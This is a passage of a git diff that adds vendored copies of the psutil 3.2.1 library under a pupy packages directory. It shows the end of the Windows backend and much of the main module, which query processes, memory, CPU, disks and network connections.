namedtuple('svmem', ['total', 'available', 'percent', 'used', 'free']) +pextmem = namedtuple( + 'pextmem', ['num_page_faults', 'peak_wset', 'wset', 'peak_paged_pool', + 'paged_pool', 'peak_nonpaged_pool', 'nonpaged_pool', + 'pagefile', 'peak_pagefile', 'private']) +pmmap_grouped = namedtuple('pmmap_grouped', ['path', 'rss']) +pmmap_ext = namedtuple( + 'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields)) +ntpinfo = namedtuple( + 'ntpinfo', ['num_handles', 'ctx_switches', 'user_time', 'kernel_time', + 'create_time', 'num_threads', 'io_rcount', 'io_wcount', + 'io_rbytes', 'io_wbytes']) + +# set later from __init__.py +NoSuchProcess = None +AccessDenied = None +TimeoutExpired = None + + +@lru_cache(maxsize=512) +def _win32_QueryDosDevice(s): + return cext.win32_QueryDosDevice(s) + + +def _convert_raw_path(s): + # convert paths using native DOS format like: + # "\Device\HarddiskVolume1\Windows\systemew\file.txt" + # into: "C:\Windows\systemew\file.txt" + if PY3 and not isinstance(s, str): + s = s.decode('utf8') + rawdrive = '\\'.join(s.split('\\')[:3]) + driveletter = _win32_QueryDosDevice(rawdrive) + return os.path.join(driveletter, s[len(rawdrive):]) + + +def py2_strencode(s, encoding=sys.getfilesystemencoding()): + if PY3 or isinstance(s, str): + return s + else: + try: + return s.encode(encoding) + except UnicodeEncodeError: + # Filesystem codec failed, return the plain unicode + # string (this should never happen). + return s + + +# --- public functions + + +def virtual_memory(): + """System virtual memory as a namedtuple.""" + mem = cext.virtual_mem() + totphys, availphys, totpagef, availpagef, totvirt, freevirt = mem + # + total = totphys + avail = availphys + free = availphys + used = total - avail + percent = usage_percent((total - avail), total, _round=1) + return svmem(total, avail, percent, used, free) + + +def swap_memory(): + """Swap system memory as a (total, used, free, sin, sout) tuple.""" + mem = cext.virtual_mem() + total = mem[2] + free = mem[3] + used = total - free + percent = usage_percent(used, total, _round=1) + return _common.sswap(total, used, free, percent, 0, 0) + + +def disk_usage(path): + """Return disk usage associated with path.""" + try: + total, free = cext.disk_usage(path) + except WindowsError: + if not os.path.exists(path): + msg = "No such file or directory: '%s'" % path + raise OSError(errno.ENOENT, msg) + raise + used = total - free + percent = usage_percent(used, total, _round=1) + return _common.sdiskusage(total, used, free, percent) + + +def disk_partitions(all): + """Return disk partitions.""" + rawlist = cext.disk_partitions(all) + return [_common.sdiskpart(*x) for x in rawlist] + + +def cpu_times(): + """Return system CPU times as a named tuple.""" + user, system, idle = cext.cpu_times() + return scputimes(user, system, idle) + + +def per_cpu_times(): + """Return system per-CPU times as a list of named tuples.""" + ret = [] + for cpu_t in cext.per_cpu_times(): + user, system, idle = cpu_t + item = scputimes(user, system, idle) + ret.append(item) + return ret + + +def cpu_count_logical(): + """Return the number of logical CPUs in the system.""" + return cext.cpu_count_logical() + + +def cpu_count_physical(): + """Return the number of physical CPUs in the system.""" + return cext.cpu_count_phys() + + +def boot_time(): + """The system boot time expressed in seconds since the epoch.""" + return cext.boot_time() + + +def net_connections(kind, _pid=-1): + """Return socket connections. If pid == -1 return system-wide + connections (as opposed to connections opened by one process only). + """ + if kind not in conn_tmap: + raise ValueError("invalid %r kind argument; choose between %s" + % (kind, ', '.join([repr(x) for x in conn_tmap]))) + families, types = conn_tmap[kind] + rawlist = cext.net_connections(_pid, families, types) + ret = set() + for item in rawlist: + fd, fam, type, laddr, raddr, status, pid = item + status = TCP_STATUSES[status] + fam = sockfam_to_enum(fam) + type = socktype_to_enum(type) + if _pid == -1: + nt = _common.sconn(fd, fam, type, laddr, raddr, status, pid) + else: + nt = _common.pconn(fd, fam, type, laddr, raddr, status) + ret.add(nt) + return list(ret) + + +def net_if_stats(): + ret = cext.net_if_stats() + for name, items in ret.items(): + name = py2_strencode(name) + isup, duplex, speed, mtu = items + if hasattr(_common, 'NicDuplex'): + duplex = _common.NicDuplex(duplex) + ret[name] = _common.snicstats(isup, duplex, speed, mtu) + return ret + + +def net_io_counters(): + ret = cext.net_io_counters() + return dict([(py2_strencode(k), v) for k, v in ret.items()]) + + +def net_if_addrs(): + ret = [] + for items in cext.net_if_addrs(): + items = list(items) + items[0] = py2_strencode(items[0]) + ret.append(items) + return ret + + +def users(): + """Return currently connected users as a list of namedtuples.""" + retlist = [] + rawlist = cext.users() + for item in rawlist: + user, hostname, tstamp = item + user = py2_strencode(user) + nt = _common.suser(user, None, hostname, tstamp) + retlist.append(nt) + return retlist + + +pids = cext.pids +pid_exists = cext.pid_exists +disk_io_counters = cext.disk_io_counters +ppid_map = cext.ppid_map # not meant to be public + + +def wrap_exceptions(fun): + """Decorator which translates bare OSError and WindowsError + exceptions into NoSuchProcess and AccessDenied. + """ + @functools.wraps(fun) + def wrapper(self, *args, **kwargs): + try: + return fun(self, *args, **kwargs) + except OSError as err: + # support for private module import + if NoSuchProcess is None or AccessDenied is None: + raise + if err.errno in ACCESS_DENIED_SET: + raise AccessDenied(self.pid, self._name) + if err.errno == errno.ESRCH: + raise NoSuchProcess(self.pid, self._name) + raise + return wrapper + + +class Process(object): + """Wrapper class around underlying C implementation.""" + + __slots__ = ["pid", "_name", "_ppid"] + + def __init__(self, pid): + self.pid = pid + self._name = None + self._ppid = None + + @wrap_exceptions + def name(self): + """Return process name, which on Windows is always the final + part of the executable. + """ + # This is how PIDs 0 and 4 are always represented in taskmgr + # and process-hacker. + if self.pid == 0: + return "System Idle Process" + elif self.pid == 4: + return "System" + else: + try: + # Note: this will fail with AD for most PIDs owned + # by another user but it's faster. + return py2_strencode(os.path.basename(self.exe())) + except AccessDenied: + return py2_strencode(cext.proc_name(self.pid)) + + @wrap_exceptions + def exe(self): + # Note: os.path.exists(path) may return False even if the file + # is there, see: + # http://stackoverflow.com/questions/3112546/os-path-exists-lies + + # see https://github.com/giampaolo/psutil/issues/414 + # see https://github.com/giampaolo/psutil/issues/528 + if self.pid in (0, 4): + raise AccessDenied(self.pid, self._name) + return py2_strencode(_convert_raw_path(cext.proc_exe(self.pid))) + + @wrap_exceptions + def cmdline(self): + ret = cext.proc_cmdline(self.pid) + if PY3: + return ret + else: + return [py2_strencode(s) for s in ret] + + def ppid(self): + try: + return ppid_map()[self.pid] + except KeyError: + raise NoSuchProcess(self.pid, self._name) + + def _get_raw_meminfo(self): + try: + return cext.proc_memory_info(self.pid) + except OSError as err: + if err.errno in ACCESS_DENIED_SET: + # TODO: the C ext can probably be refactored in order + # to get this from cext.proc_info() + return cext.proc_memory_info_2(self.pid) + raise + + @wrap_exceptions + def memory_info(self): + # on Windows RSS == WorkingSetSize and VSM == PagefileUsage + # fields of PROCESS_MEMORY_COUNTERS struct: + # http://msdn.microsoft.com/en-us/library/windows/desktop/ + # ms684877(v=vs.85).aspx + t = self._get_raw_meminfo() + return _common.pmem(t[2], t[7]) + + @wrap_exceptions + def memory_info_ex(self): + return pextmem(*self._get_raw_meminfo()) + + def memory_maps(self): + try: + raw = cext.proc_memory_maps(self.pid) + except OSError as err: + # XXX - can't use wrap_exceptions decorator as we're + # returning a generator; probably needs refactoring. + if err.errno in ACCESS_DENIED_SET: + raise AccessDenied(self.pid, self._name) + if err.errno == errno.ESRCH: + raise NoSuchProcess(self.pid, self._name) + raise + else: + for addr, perm, path, rss in raw: + path = _convert_raw_path(path) + addr = hex(addr) + yield (addr, perm, path, rss) + + @wrap_exceptions + def kill(self): + return cext.proc_kill(self.pid) + + @wrap_exceptions + def send_signal(self, sig): + os.kill(self.pid, sig) + + @wrap_exceptions + def wait(self, timeout=None): + if timeout is None: + timeout = cext.INFINITE + else: + # WaitForSingleObject() expects time in milliseconds + timeout = int(timeout * 1000) + ret = cext.proc_wait(self.pid, timeout) + if ret == WAIT_TIMEOUT: + # support for private module import + if TimeoutExpired is None: + raise RuntimeError("timeout expired") + raise TimeoutExpired(timeout, self.pid, self._name) + return ret + + @wrap_exceptions + def username(self): + if self.pid in (0, 4): + return 'NT AUTHORITY\\SYSTEM' + return cext.proc_username(self.pid) + + @wrap_exceptions + def create_time(self): + # special case for kernel process PIDs; return system boot time + if self.pid in (0, 4): + return boot_time() + try: + return cext.proc_create_time(self.pid) + except OSError as err: + if err.errno in ACCESS_DENIED_SET: + return ntpinfo(*cext.proc_info(self.pid)).create_time + raise + + @wrap_exceptions + def num_threads(self): + return ntpinfo(*cext.proc_info(self.pid)).num_threads + + @wrap_exceptions + def threads(self): + rawlist = cext.proc_threads(self.pid) + retlist = [] + for thread_id, utime, stime in rawlist: + ntuple = _common.pthread(thread_id, utime, stime) + retlist.append(ntuple) + return retlist + + @wrap_exceptions + def cpu_times(self): + try: + ret = cext.proc_cpu_times(self.pid) + except OSError as err: + if err.errno in ACCESS_DENIED_SET: + nt = ntpinfo(*cext.proc_info(self.pid)) + ret = (nt.user_time, nt.kernel_time) + else: + raise + return _common.pcputimes(*ret) + + @wrap_exceptions + def suspend(self): + return cext.proc_suspend(self.pid) + + @wrap_exceptions + def resume(self): + return cext.proc_resume(self.pid) + + @wrap_exceptions + def cwd(self): + if self.pid in (0, 4): + raise AccessDenied(self.pid, self._name) + # return a normalized pathname since the native C function appends + # "\\" at the and of the path + path = cext.proc_cwd(self.pid) + return py2_strencode(os.path.normpath(path)) + + @wrap_exceptions + def open_files(self): + if self.pid in (0, 4): + return [] + ret = set() + # Filenames come in in native format like: + # "\Device\HarddiskVolume1\Windows\systemew\file.txt" + # Convert the first part in the corresponding drive letter + # (e.g. "C:\") by using Windows's QueryDosDevice() + raw_file_names = cext.proc_open_files(self.pid) + for _file in raw_file_names: + _file = _convert_raw_path(_file) + if isfile_strict(_file): + if not PY3: + _file = py2_strencode(_file) + ntuple = _common.popenfile(_file, -1) + ret.add(ntuple) + return list(ret) + + @wrap_exceptions + def connections(self, kind='inet'): + return net_connections(kind, _pid=self.pid) + + @wrap_exceptions + def nice_get(self): + value = cext.proc_priority_get(self.pid) + if enum is not None: + value = Priority(value) + return value + + @wrap_exceptions + def nice_set(self, value): + return cext.proc_priority_set(self.pid, value) + + # available on Windows >= Vista + if hasattr(cext, "proc_io_priority_get"): + @wrap_exceptions + def ionice_get(self): + return cext.proc_io_priority_get(self.pid) + + @wrap_exceptions + def ionice_set(self, value, _): + if _: + raise TypeError("set_proc_ionice() on Windows takes only " + "1 argument (2 given)") + if value not in (2, 1, 0): + raise ValueError("value must be 2 (normal), 1 (low) or 0 " + "(very low); got %r" % value) + return cext.proc_io_priority_set(self.pid, value) + + @wrap_exceptions + def io_counters(self): + try: + ret = cext.proc_io_counters(self.pid) + except OSError as err: + if err.errno in ACCESS_DENIED_SET: + nt = ntpinfo(*cext.proc_info(self.pid)) + ret = (nt.io_rcount, nt.io_wcount, nt.io_rbytes, nt.io_wbytes) + else: + raise + return _common.pio(*ret) + + @wrap_exceptions + def status(self): + suspended = cext.proc_is_suspended(self.pid) + if suspended: + return _common.STATUS_STOPPED + else: + return _common.STATUS_RUNNING + + @wrap_exceptions + def cpu_affinity_get(self): + def from_bitmask(x): + return [i for i in xrange(64) if (1 << i) & x] + bitmask = cext.proc_cpu_affinity_get(self.pid) + return from_bitmask(bitmask) + + @wrap_exceptions + def cpu_affinity_set(self, value): + def to_bitmask(l): + if not l: + raise ValueError("invalid argument %r" % l) + out = 0 + for b in l: + out |= 2 ** b + return out + + # SetProcessAffinityMask() states that ERROR_INVALID_PARAMETER + # is returned for an invalid CPU but this seems not to be true, + # therefore we check CPUs validy beforehand. + allcpus = list(range(len(per_cpu_times()))) + for cpu in value: + if cpu not in allcpus: + if not isinstance(cpu, (int, long)): + raise TypeError( + "invalid CPU %r; an integer is required" % cpu) + else: + raise ValueError("invalid CPU %r" % cpu) + + bitmask = to_bitmask(value) + cext.proc_cpu_affinity_set(self.pid, bitmask) + + @wrap_exceptions + def num_handles(self): + try: + return cext.proc_num_handles(self.pid) + except OSError as err: + if err.errno in ACCESS_DENIED_SET: + return ntpinfo(*cext.proc_info(self.pid)).num_handles + raise + + @wrap_exceptions + def num_ctx_switches(self): + ctx_switches = ntpinfo(*cext.proc_info(self.pid)).ctx_switches + # only voluntary ctx switches are supported + return _common.pctxsw(ctx_switches, 0) diff --git a/pupy/packages/windows/x86/psutil/__init__.py b/pupy/packages/windows/x86/psutil/__init__.py new file mode 100755 index 00000000..3c4b5bca --- /dev/null +++ b/pupy/packages/windows/x86/psutil/__init__.py @@ -0,0 +1,1901 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""psutil is a cross-platform library for retrieving information on +running processes and system utilization (CPU, memory, disks, network) +in Python. +""" + +from __future__ import division + +import collections +import errno +import functools +import os +import signal +import subprocess +import sys +import time +try: + import pwd +except ImportError: + pwd = None + +from . import _common +from ._common import memoize +from ._compat import callable, long +from ._compat import PY3 as _PY3 + +from ._common import (STATUS_RUNNING, # NOQA + STATUS_SLEEPING, + STATUS_DISK_SLEEP, + STATUS_STOPPED, + STATUS_TRACING_STOP, + STATUS_ZOMBIE, + STATUS_DEAD, + STATUS_WAKING, + STATUS_LOCKED, + STATUS_IDLE, # bsd + STATUS_WAITING) # bsd + +from ._common import (CONN_ESTABLISHED, + CONN_SYN_SENT, + CONN_SYN_RECV, + CONN_FIN_WAIT1, + CONN_FIN_WAIT2, + CONN_TIME_WAIT, + CONN_CLOSE, + CONN_CLOSE_WAIT, + CONN_LAST_ACK, + CONN_LISTEN, + CONN_CLOSING, + CONN_NONE) + +from ._common import (NIC_DUPLEX_FULL, # NOQA + NIC_DUPLEX_HALF, + NIC_DUPLEX_UNKNOWN) + +if sys.platform.startswith("linux"): + from . import _pslinux as _psplatform + + from ._pslinux import (IOPRIO_CLASS_NONE, # NOQA + IOPRIO_CLASS_RT, + IOPRIO_CLASS_BE, + IOPRIO_CLASS_IDLE) + # Linux >= 2.6.36 + if _psplatform.HAS_PRLIMIT: + from ._psutil_linux import (RLIM_INFINITY, # NOQA + RLIMIT_AS, + RLIMIT_CORE, + RLIMIT_CPU, + RLIMIT_DATA, + RLIMIT_FSIZE, + RLIMIT_LOCKS, + RLIMIT_MEMLOCK, + RLIMIT_NOFILE, + RLIMIT_NPROC, + RLIMIT_RSS, + RLIMIT_STACK) + # Kinda ugly but considerably faster than using hasattr() and + # setattr() against the module object (we are at import time: + # speed matters). + from . import _psutil_linux + try: + RLIMIT_MSGQUEUE = _psutil_linux.RLIMIT_MSGQUEUE + except AttributeError: + pass + try: + RLIMIT_NICE = _psutil_linux.RLIMIT_NICE + except AttributeError: + pass + try: + RLIMIT_RTPRIO = _psutil_linux.RLIMIT_RTPRIO + except AttributeError: + pass + try: + RLIMIT_RTTIME = _psutil_linux.RLIMIT_RTTIME + except AttributeError: + pass + try: + RLIMIT_SIGPENDING = _psutil_linux.RLIMIT_SIGPENDING + except AttributeError: + pass + del _psutil_linux + +elif sys.platform.startswith("win32"): + from . import _pswindows as _psplatform + from ._psutil_windows import (ABOVE_NORMAL_PRIORITY_CLASS, # NOQA + BELOW_NORMAL_PRIORITY_CLASS, + HIGH_PRIORITY_CLASS, + IDLE_PRIORITY_CLASS, + NORMAL_PRIORITY_CLASS, + REALTIME_PRIORITY_CLASS) + from ._pswindows import CONN_DELETE_TCB # NOQA + +elif sys.platform.startswith("darwin"): + from . import _psosx as _psplatform + +elif sys.platform.startswith("freebsd"): + from . import _psbsd as _psplatform + +elif sys.platform.startswith("sunos"): + from . import _pssunos as _psplatform + from ._pssunos import (CONN_IDLE, # NOQA + CONN_BOUND) + +else: # pragma: no cover + raise NotImplementedError('platform %s is not supported' % sys.platform) + + +__all__ = [ + # exceptions + "Error", "NoSuchProcess", "ZombieProcess", "AccessDenied", + "TimeoutExpired", + # constants + "version_info", "__version__", + "STATUS_RUNNING", "STATUS_IDLE", "STATUS_SLEEPING", "STATUS_DISK_SLEEP", + "STATUS_STOPPED", "STATUS_TRACING_STOP", "STATUS_ZOMBIE", "STATUS_DEAD", + "STATUS_WAKING", "STATUS_LOCKED", "STATUS_WAITING", "STATUS_LOCKED", + "CONN_ESTABLISHED", "CONN_SYN_SENT", "CONN_SYN_RECV", "CONN_FIN_WAIT1", + "CONN_FIN_WAIT2", "CONN_TIME_WAIT", "CONN_CLOSE", "CONN_CLOSE_WAIT", + "CONN_LAST_ACK", "CONN_LISTEN", "CONN_CLOSING", "CONN_NONE", + "AF_LINK", + "NIC_DUPLEX_FULL", "NIC_DUPLEX_HALF", "NIC_DUPLEX_UNKNOWN", + # classes + "Process", "Popen", + # functions + "pid_exists", "pids", "process_iter", "wait_procs", # proc + "virtual_memory", "swap_memory", # memory + "cpu_times", "cpu_percent", "cpu_times_percent", "cpu_count", # cpu + "net_io_counters", "net_connections", "net_if_addrs", # network + "net_if_stats", + "disk_io_counters", "disk_partitions", "disk_usage", # disk + "users", "boot_time", # others +] +__all__.extend(_psplatform.__extra__all__) +__author__ = "Giampaolo Rodola'" +__version__ = "3.2.1" +version_info = tuple([int(num) for num in __version__.split('.')]) +AF_LINK = _psplatform.AF_LINK +_TOTAL_PHYMEM = None +_POSIX = os.name == 'posix' +_WINDOWS = os.name == 'nt' +_timer = getattr(time, 'monotonic', time.time) + + +# Sanity check in case the user messed up with psutil installation +# or did something weird with sys.path. In this case we might end +# up importing a python module using a C extension module which +# was compiled for a different version of psutil. +# We want to prevent that by failing sooner rather than later. +# See: https://github.com/giampaolo/psutil/issues/564 +if (int(__version__.replace('.', '')) != + getattr(_psplatform.cext, 'version', None)): + msg = "version conflict: %r C extension module was built for another " \ + "version of psutil (different than %s)" % (_psplatform.cext.__file__, + __version__) + raise ImportError(msg) + + +# ===================================================================== +# --- exceptions +# ===================================================================== + +class Error(Exception): + """Base exception class. All other psutil exceptions inherit + from this one. + """ + + def __init__(self, msg=""): + self.msg = msg + + def __repr__(self): + ret = "%s.%s %s" % (self.__class__.__module__, + self.__class__.__name__, self.msg) + return ret.strip() + + __str__ = __repr__ + + +class NoSuchProcess(Error): + """Exception raised when a process with a certain PID doesn't + or no longer exists. + """ + + def __init__(self, pid, name=None, msg=None): + Error.__init__(self, msg) + self.pid = pid + self.name = name + self.msg = msg + if msg is None: + if name: + details = "(pid=%s, name=%s)" % (self.pid, repr(self.name)) + else: + details = "(pid=%s)" % self.pid + self.msg = "process no longer exists " + details + + +class ZombieProcess(NoSuchProcess): + """Exception raised when querying a zombie process. This is + raised on OSX, BSD and Solaris only, and not always: depending + on the query the OS may be able to succeed anyway. + On Linux all zombie processes are querable (hence this is never + raised). Windows doesn't have zombie processes. + """ + + def __init__(self, pid, name=None, ppid=None, msg=None): + Error.__init__(self, msg) + self.pid = pid + self.ppid = ppid + self.name = name + self.msg = msg + if msg is None: + if name and ppid: + details = "(pid=%s, name=%s, ppid=%s)" % ( + self.pid, repr(self.name), self.ppid) + elif name: + details = "(pid=%s, name=%s)" % (self.pid, repr(self.name)) + else: + details = "(pid=%s)" % self.pid + self.msg = "process still exists but it's a zombie " + details + + +class AccessDenied(Error): + """Exception raised when permission to perform an action is denied.""" + + def __init__(self, pid=None, name=None, msg=None): + Error.__init__(self, msg) + self.pid = pid + self.name = name + self.msg = msg + if msg is None: + if (pid is not None) and (name is not None): + self.msg = "(pid=%s, name=%s)" % (pid, repr(name)) + elif (pid is not None): + self.msg = "(pid=%s)" % self.pid + else: + self.msg = "" + + +class TimeoutExpired(Error): + """Raised on Process.wait(timeout) if timeout expires and process + is still alive. + """ + + def __init__(self, seconds, pid=None, name=None): + Error.__init__(self, "timeout after %s seconds" % seconds) + self.seconds = seconds + self.pid = pid + self.name = name + if (pid is not None) and (name is not None): + self.msg += " (pid=%s, name=%s)" % (pid, repr(name)) + elif (pid is not None): + self.msg += " (pid=%s)" % self.pid + + +# push exception classes into platform specific module namespace +_psplatform.NoSuchProcess = NoSuchProcess +_psplatform.ZombieProcess = ZombieProcess +_psplatform.AccessDenied = AccessDenied +_psplatform.TimeoutExpired = TimeoutExpired + + +# ===================================================================== +# --- Process class +# ===================================================================== + + +def _assert_pid_not_reused(fun): + """Decorator which raises NoSuchProcess in case a process is no + longer running or its PID has been reused. + """ + @functools.wraps(fun) + def wrapper(self, *args, **kwargs): + if not self.is_running(): + raise NoSuchProcess(self.pid, self._name) + return fun(self, *args, **kwargs) + return wrapper + + +class Process(object): + """Represents an OS process with the given PID. + If PID is omitted current process PID (os.getpid()) is used. + Raise NoSuchProcess if PID does not exist. + + Note that most of the methods of this class do not make sure + the PID of the process being queried has been reused over time. + That means you might end up retrieving an information referring + to another process in case the original one this instance + refers to is gone in the meantime. + + The only exceptions for which process identity is pre-emptively + checked and guaranteed are: + + - parent() + - children() + - nice() (set) + - ionice() (set) + - rlimit() (set) + - cpu_affinity (set) + - suspend() + - resume() + - send_signal() + - terminate() + - kill() + + To prevent this problem for all other methods you can: + - use is_running() before querying the process + - if you're continuously iterating over a set of Process + instances use process_iter() which pre-emptively checks + process identity for every yielded instance + """ + + def __init__(self, pid=None): + self._init(pid) + + def _init(self, pid, _ignore_nsp=False): + if pid is None: + pid = os.getpid() + else: + if not _PY3 and not isinstance(pid, (int, long)): + raise TypeError('pid must be an integer (got %r)' % pid) + if pid < 0: + raise ValueError('pid must be a positive integer (got %s)' + % pid) + self._pid = pid + self._name = None + self._exe = None + self._create_time = None + self._gone = False + self._hash = None + # used for caching on Windows only (on POSIX ppid may change) + self._ppid = None + # platform-specific modules define an _psplatform.Process + # implementation class + self._proc = _psplatform.Process(pid) + self._last_sys_cpu_times = None + self._last_proc_cpu_times = None + # cache creation time for later use in is_running() method + try: + self.create_time() + except AccessDenied: + # we should never get here as AFAIK we're able to get + # process creation time on all platforms even as a + # limited user + pass + except ZombieProcess: + # Let's consider a zombie process as legitimate as + # tehcnically it's still alive (it can be queried, + # although not always, and it's returned by pids()). + pass + except NoSuchProcess: + if not _ignore_nsp: + msg = 'no process found with pid %s' % pid + raise NoSuchProcess(pid, None, msg) + else: + self._gone = True + # This pair is supposed to indentify a Process instance + # univocally over time (the PID alone is not enough as + # it might refer to a process whose PID has been reused). + # This will be used later in __eq__() and is_running(). + self._ident = (self.pid, self._create_time) + + def __str__(self): + try: + pid = self.pid + name = repr(self.name()) + except ZombieProcess: + details = "(pid=%s (zombie))" % self.pid + except NoSuchProcess: + details = "(pid=%s (terminated))" % self.pid + except AccessDenied: + details = "(pid=%s)" % (self.pid) + else: + details = "(pid=%s, name=%s)" % (pid, name) + return "%s.%s%s" % (self.__class__.__module__, + self.__class__.__name__, details) + + def __repr__(self): + return "<%s at %s>" % (self.__str__(), id(self)) + + def __eq__(self, other): + # Test for equality with another Process object based + # on PID and creation time. + if not isinstance(other, Process): + return NotImplemented + return self._ident == other._ident + + def __ne__(self, other): + return not self == other + + def __hash__(self): + if self._hash is None: + self._hash = hash(self._ident) + return self._hash + + # --- utility methods + + def as_dict(self, attrs=None, ad_value=None): + """Utility method returning process information as a + hashable dictionary. + + If 'attrs' is specified it must be a list of strings + reflecting available Process class' attribute names + (e.g. ['cpu_times', 'name']) else all public (read + only) attributes are assumed. + + 'ad_value' is the value which gets assigned in case + AccessDenied or ZombieProcess exception is raised when + retrieving that particular process information. + """ + excluded_names = set( + ['send_signal', 'suspend', 'resume', 'terminate', 'kill', 'wait', + 'is_running', 'as_dict', 'parent', 'children', 'rlimit']) + retdict = dict() + ls = set(attrs or [x for x in dir(self)]) + for name in ls: + if name.startswith('_'): + continue + if name in excluded_names: + continue + try: + attr = getattr(self, name) + if callable(attr): + ret = attr() + else: + ret = attr + except (AccessDenied, ZombieProcess): + ret = ad_value + except NotImplementedError: + # in case of not implemented functionality (may happen + # on old or exotic systems) we want to crash only if + # the user explicitly asked for that particular attr + if attrs: + raise + continue + retdict[name] = ret + return retdict + + def parent(self): + """Return the parent process as a Process object pre-emptively + checking whether PID has been reused. + If no parent is known return None. + """ + ppid = self.ppid() + if ppid is not None: + ctime = self.create_time() + try: + parent = Process(ppid) + if parent.create_time() <= ctime: + return parent + # ...else ppid has been reused by another process + except NoSuchProcess: + pass + + def is_running(self): + """Return whether this process is running. + It also checks if PID has been reused by another process in + which case return False. + """ + if self._gone: + return False + try: + # Checking if PID is alive is not enough as the PID might + # have been reused by another process: we also want to + # verify process identity. + # Process identity / uniqueness over time is guaranteed by + # (PID + creation time) and that is verified in __eq__. + return self == Process(self.pid) + except NoSuchProcess: + self._gone = True + return False + + # --- actual API + + @property + def pid(self): + """The process PID.""" + return self._pid + + def ppid(self): + """The process parent PID. + On Windows the return value is cached after first call. + """ + # On POSIX we don't want to cache the ppid as it may unexpectedly + # change to 1 (init) in case this process turns into a zombie: + # https://github.com/giampaolo/psutil/issues/321 + # http://stackoverflow.com/questions/356722/ + + # XXX should we check creation time here rather than in + # Process.parent()? + if _POSIX: + return self._proc.ppid() + else: + self._ppid = self._ppid or self._proc.ppid() + return self._ppid + + def name(self): + """The process name. The return value is cached after first call.""" + if self._name is None: + name = self._proc.name() + if _POSIX and len(name) >= 15: + # On UNIX the name gets truncated to the first 15 characters. + # If it matches the first part of the cmdline we return that + # one instead because it's usually more explicative. + # Examples are "gnome-keyring-d" vs. "gnome-keyring-daemon". + try: + cmdline = self.cmdline() + except AccessDenied: + pass + else: + if cmdline: + extended_name = os.path.basename(cmdline[0]) + if extended_name.startswith(name): + name = extended_name + self._proc._name = name + self._name = name + return self._name + + def exe(self): + """The process executable as an absolute path. + May also be an empty string. + The return value is cached after first call. + """ + def guess_it(fallback): + # try to guess exe from cmdline[0] in absence of a native + # exe representation + cmdline = self.cmdline() + if cmdline and hasattr(os, 'access') and hasattr(os, 'X_OK'): + exe = cmdline[0] # the possible exe + # Attempt to guess only in case of an absolute path. + # It is not safe otherwise as the process might have + # changed cwd. + if (os.path.isabs(exe) and + os.path.isfile(exe) and + os.access(exe, os.X_OK)): + return exe + if isinstance(fallback, AccessDenied): + raise fallback + return fallback + + if self._exe is None: + try: + exe = self._proc.exe() + except AccessDenied as err: + return guess_it(fallback=err) + else: + if not exe: + # underlying implementation can legitimately return an + # empty string; if that's the case we don't want to + # raise AD while guessing from the cmdline + try: + exe = guess_it(fallback=exe) + except AccessDenied: + pass + self._exe = exe + return self._exe + + def cmdline(self): + """The command line this process has been called with.""" + return self._proc.cmdline() + + def status(self): + """The process current status as a STATUS_* constant.""" + try: + return self._proc.status() + except ZombieProcess: + return STATUS_ZOMBIE + + def username(self): + """The name of the user that owns the process. + On UNIX this is calculated by using *real* process uid. + """ + if _POSIX: + if pwd is None: + # might happen if python was installed from sources + raise ImportError( + "requires pwd module shipped with standard python") + real_uid = self.uids().real + try: + return pwd.getpwuid(real_uid).pw_name + except KeyError: + # the uid can't be resolved by the system + return str(real_uid) + else: + return self._proc.username() + + def create_time(self): + """The process creation time as a floating point number + expressed in seconds since the epoch, in UTC. + The return value is cached after first call. + """ + if self._create_time is None: + self._create_time = self._proc.create_time() + return self._create_time + + def cwd(self): + """Process current working directory as an absolute path.""" + return self._proc.cwd() + + def nice(self, value=None): + """Get or set process niceness (priority).""" + if value is None: + return self._proc.nice_get() + else: + if not self.is_running(): + raise NoSuchProcess(self.pid, self._name) + self._proc.nice_set(value) + + if _POSIX: + + def uids(self): + """Return process UIDs as a (real, effective, saved) + namedtuple. + """ + return self._proc.uids() + + def gids(self): + """Return process GIDs as a (real, effective, saved) + namedtuple. + """ + return self._proc.gids() + + def terminal(self): + """The terminal associated with this process, if any, + else None. + """ + return self._proc.terminal() + + def num_fds(self): + """Return the number of file descriptors opened by this + process (POSIX only). + """ + return self._proc.num_fds() + + # Linux, BSD and Windows only + if hasattr(_psplatform.Process, "io_counters"): + + def io_counters(self): + """Return process I/O statistics as a + (read_count, write_count, read_bytes, write_bytes) + namedtuple. + Those are the number of read/write calls performed and the + amount of bytes read and written by the process. + """ + return self._proc.io_counters() + + # Linux and Windows >= Vista only + if hasattr(_psplatform.Process, "ionice_get"): + + def ionice(self, ioclass=None, value=None): + """Get or set process I/O niceness (priority). + + On Linux 'ioclass' is one of the IOPRIO_CLASS_* constants. + 'value' is a number which goes from 0 to 7. The higher the + value, the lower the I/O priority of the process. + + On Windows only 'ioclass' is used and it can be set to 2 + (normal), 1 (low) or 0 (very low). + + Available on Linux and Windows > Vista only. + """ + if ioclass is None: + if value is not None: + raise ValueError("'ioclass' argument must be specified") + return self._proc.ionice_get() + else: + return self._proc.ionice_set(ioclass, value) + + # Linux only + if hasattr(_psplatform.Process, "rlimit"): + + def rlimit(self, resource, limits=None): + """Get or set process resource limits as a (soft, hard) + tuple. + + 'resource' is one of the RLIMIT_* constants. + 'limits' is supposed to be a (soft, hard) tuple. + + See "man prlimit" for further info. + Available on Linux only. + """ + if limits is None: + return self._proc.rlimit(resource) + else: + return self._proc.rlimit(resource, limits) + + # Windows, Linux and BSD only + if hasattr(_psplatform.Process, "cpu_affinity_get"): + + def cpu_affinity(self, cpus=None): + """Get or set process CPU affinity. + If specified 'cpus' must be a list of CPUs for which you + want to set the affinity (e.g. [0, 1]). + (Windows, Linux and BSD only). + """ + # Automatically remove duplicates both on get and + # set (for get it's not really necessary, it's + # just for extra safety). + if cpus is None: + return list(set(self._proc.cpu_affinity_get())) + else: + self._proc.cpu_affinity_set(list(set(cpus))) + + if _WINDOWS: + + def num_handles(self): + """Return the number of handles opened by this process + (Windows only). + """ + return self._proc.num_handles() + + def num_ctx_switches(self): + """Return the number of voluntary and involuntary context + switches performed by this process. + """ + return self._proc.num_ctx_switches() + + def num_threads(self): + """Return the number of threads used by this process.""" + return self._proc.num_threads() + + def threads(self): + """Return threads opened by process as a list of + (id, user_time, system_time) namedtuples representing + thread id and thread CPU times (user/system). + """ + return self._proc.threads() + + @_assert_pid_not_reused + def children(self, recursive=False): + """Return the children of this process as a list of Process + instances, pre-emptively checking whether 